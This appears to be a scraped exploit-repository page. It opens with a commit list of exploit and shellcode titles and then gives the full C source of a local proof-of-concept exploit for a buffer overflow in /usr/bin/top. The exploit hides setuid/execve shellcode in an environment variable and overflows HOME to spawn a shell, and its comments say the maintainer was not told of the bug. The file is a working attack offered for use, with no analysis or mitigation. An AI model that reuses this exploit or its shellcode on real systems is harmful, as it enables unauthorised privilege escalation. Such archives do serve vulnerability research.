880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
79 lines
No EOL
2.5 KiB
C
79 lines
No EOL
2.5 KiB
C
// source: https://www.securityfocus.com/bid/8239/info
|
|
|
|
A buffer overflow condition has been reported in top when handling environment variables of excessive length. This may result in an attacker potentially executing arbitrary code.
|
|
|
|
/*
|
|
* UHAGr CONFIDENTIAL SOURCE - DO NOT DISTRIBUTE
|
|
* Local /usr/bin/top Proof of Concept Exploit
|
|
* Bug Discovered & Coded by Darksock
|
|
* Copyright (c) by UHAGr 2003 - 2004
|
|
* Note: it should work on all distros
|
|
* Tested under RedHat 9.0, Mandrake 9.0
|
|
* Still, it should be working under all
|
|
* distros since it's maintainer is still
|
|
* not informed about this bug.
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <errno.h>
|
|
|
|
/*
|
|
* This method of exploitation would let as
|
|
* know the exact address of our shellcode.
|
|
* We place it to the last environmental
|
|
* variable, which address will be:
|
|
* 0xbfffffff(top of the stack) minus four
|
|
* NULLs due to elf header structure, minus
|
|
* the program's name, minus the bytes of
|
|
* our shellcode. That simple ;)
|
|
*/
|
|
|
|
#define TOP "/usr/bin/top"
|
|
#define DEFRET 0xbffffffa - strlen(sc) - strlen(TOP)
|
|
#define BS 1100
|
|
|
|
/*
|
|
* setuid(); + execve(); + exit(); shellcode
|
|
*/
|
|
|
|
char sc[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31"
|
|
"\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
|
|
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1"
|
|
"\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\x31"
|
|
"\xc0\x31\xdb\xb0\x01\xcd\x80";
|
|
|
|
int main(void) {
|
|
|
|
int ctr = 0;
|
|
char buffer[BS];
|
|
|
|
fprintf(stdout, "\nCopyright (c) by UHAGr 2003 - 2004\n");
|
|
fprintf(stdout, "/usr/bin/top Proof of Concept Exploit\n\n");
|
|
fprintf(stdout, "[~] Starting exploiting proccess...\n");
|
|
fprintf(stdout, "[~] Using ret address: 0x%8x\n", (long) DEFRET);
|
|
|
|
for(ctr = 0; ctr < BS - 1; ctr += 4)
|
|
*(long *) &buffer[ctr] = (long) DEFRET;
|
|
|
|
buffer[BS - 1] = '\0';
|
|
|
|
fprintf(stdout, "[~] Setting environmental variables\n");
|
|
if((setenv("HOME", buffer, 1)) == -1) {
|
|
perror("setenv()");
|
|
exit(1);
|
|
}
|
|
|
|
if((setenv("TOPX", sc, 1)) == -1) {
|
|
perror("setenv()");
|
|
exit(1);
|
|
}
|
|
|
|
fprintf(stdout, "[~] Executing %s...\n\n", TOP);
|
|
|
|
if((execl(TOP, TOP, NULL)) == -1) {
|
|
perror("execl()");
|
|
exit(1);
|
|
}
|
|
return(0);
|
|
} |